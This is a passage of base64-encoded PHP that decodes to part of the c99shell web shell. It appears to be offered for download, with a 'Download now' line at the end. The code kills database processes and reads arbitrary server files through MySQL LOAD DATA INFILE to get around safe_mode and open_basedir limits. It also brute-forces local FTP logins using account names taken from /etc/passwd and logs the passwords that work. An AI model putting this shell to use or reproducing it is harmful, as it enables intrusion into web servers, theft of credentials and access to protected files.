zMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+Ijs KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHt lY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9CiA gICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQo gICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKQogICAgewogICAgIGlmICghZW1wdHkoJGtpbGw pKSB7JHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnk sICRzcWxfc29jayk7IGVjaG8gIjxiPktpbGxpbmcgcHJvY2VzcyAjIi4ka2lsbC4iLi4uIG9rLiBoZSB pcyBkZWFkLCBhbWVuLjwvYj4iO30KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0V TU0xJU1QiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI +PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBiZ0NvbG9 yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5JRDwvYj48L3R kPjx0ZD48Yj5VU0VSPC9iPjwvdGQ+PHRkPjxiPkhPU1Q8L2I+PC90ZD48dGQ+PGI+REI8L2I+PC90ZD4 8dGQ+PGI+Q09NTUFORDwvYj48L3RkPjx0ZD48Yj5USU1FPC9iPjwvdGQ+PHRkPjxiPlNUQVRFPC9iPjw vdGQ+PHRkPjxiPklORk88L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC9iPjwvdGQ+PC90cj4iOwogICAgIHd oaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI 8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjw vdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjw vdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4 kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91Pjw vYT48L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx 0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikKICAgIHsKICAgICA kdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGI oJHRtcGRiKTsKICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGV jdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9CiAgICAgaWY gKCRzZWxlY3QpCiAgICAgewogICAgICAkY3JlYXRlZCA9IEZBTFNFOwogICAgICBteXNxbF9xdWVyeSg
19.
iQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3B lbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogICAgICBteXNxbF9xdWVyeSgiTE9BRCB EQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9 maWxlIik7CiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTs iKTsKICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJ taXNpb24gZGVuaWVkKSE8L2I+Ijt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZm9yICgkaT0wOyR pPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSg kcmVzdWx0LCRpKTt9CiAgICAgICAkZiA9ICIiOwogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXR jaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQo gICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9 lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWx lIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSk uIjxicj4iO30KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgbXlzcWxfcXV lcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7CiAgICAgIH0KICAgICB9CiAgICAgbXlzcWxfZHJvcF9 kYigkdG1wZGIpOyAvL2NvbW1lbnQgaXQgaWYgeW91IHdhbnQgdG8gbGVhdmUgZGF0YWJhc2UKICAgIH0 KICAgfQogIH0KIH0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiBpZiAoJHNxbF9zb2NrKQogewo gICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7CiAgaWYgKCghaXNfbnV tZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQogIGVjaG8 gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+PC9 0ZD48L3RyPiI7CiB9CiBlY2hvICI8L3RhYmxlPiI7Cn0KaWYgKCRhY3QgPT0gIm1rZGlyIikKewogaWY gKCRta2RpciAhPSAkZCkKIHsKICBpZiAoZmlsZV9leGlzdHMoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2U gRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogb2JqZWN0IGFscmVkeSBleGl zdHMiO30KICBlbHNlaWYgKCFta2RpcigkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWx zcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9CiAgZWNobyAiPGJyPjx icj4iOwogfQogJGFjdCA9ICRkc3BhY3QgPSAibHMiOwp9CmlmICgkYWN0ID09ICJmdHBxdWlja2JydXR lIikKewogZWNobyAiPGI+RnRwIFF1aWNrIGJydXRlOjwvYj48YnI+IjsKIGlmICghd2luKSB7ZWNobyA iVGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQogZWxzZQogewogIGZ 1bmN0aW9uIGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCR zaCwkZnFiX29ubHl3aXRoc2gpCiAgewogICBpZiAoJGZxYl9vbmx5d2l0aHNoKSB7JFRSVUUgPSAoIWl uX2FycmF5KCRzaCxhcnJheSgiL2Jpbi9GQUxTRSIsIi9zYmluL25vbG9naW4iKSkpO30KICAgZWxzZSB 7JFRSVUUgPSBUUlVFO30KICAgaWYgKCRUUlVFKQogICB7CiAgICAkc29jayA9IEBmdHBfY29ubmVjdCg kaG9zdCwkcG9ydCwkdGltZW91dCk7CiAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3M pKQogICAgewogICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiR ob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9 naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+Ijs KICAgICBvYl9mbHVzaCgpOwogICAgIHJldHVybiBUUlVFOwogICAgfQogICB9CiAgfQogIGlmICghZW1 wdHkoJHN1Ym1pdCkpCiAgewogICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5 naHQgPSAkbml4cHdkcGVycGFnZTt9CiAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsKICA gaWYgKCEkZnApIHtlY2hvICJDYW4ndCBnZXQgL2V0Yy9wYXNzd2QgZm9yIHBhc3N3b3JkLWxpc3QuIjt 9CiAgIGVsc2UKICAgewogICAgaWYgKCRmcWJfbG9nZ2luZykKICAgIHsKICAgICBpZiAoJGZxYl9sb2d maWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30KICAgICBlbHNlIHskZnF iX2xvZ2ZwID0gRkFMU0U7fQogICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAoY2FsbGVkIGM 5OXNoZWxsIHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclx uXHJcbiI7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN 0cmxlbigkZnFiX2xvZykpO30KICAgIH0KICAgIG9iX2ZsdXNoKCk7CiAgICAkaSA9ICRzdWNjZXNzID0 gMDsKICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgd2hpbGUoIWZlb2YoJGZwKSk KICAgIHsKICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsKICAgICBpZiAoYzk 5ZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJbMF0sJHN0clswXSwkc3RyWzZdLCRmcWJ fb25seXdpdGhzaCkpCiAgICAgewogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi5nZXRlbnYoIlN FUlZFUl9OQU1FIikuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiR zdHJbMF0uIlwiPC9iPjxicj4iOwogICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW5 2KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFw iIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsKICAgICAgaWYgKCR mcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyx zdHJsZW4oJGZxYl9sb2cpKTt9CiAgICAgICRzdWNjZXNzKys7CiAgICAgIG9iX2ZsdXNoKCk7CiAgICA gfQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQogICAgICRpKys7CiAgICB9CiAgICB pZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9 nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9CiAgICAkZnRwcXVpY2tfdCA9IHJvdW5 kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5 vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJ yPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjx iPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I +PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOwo gICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
Download now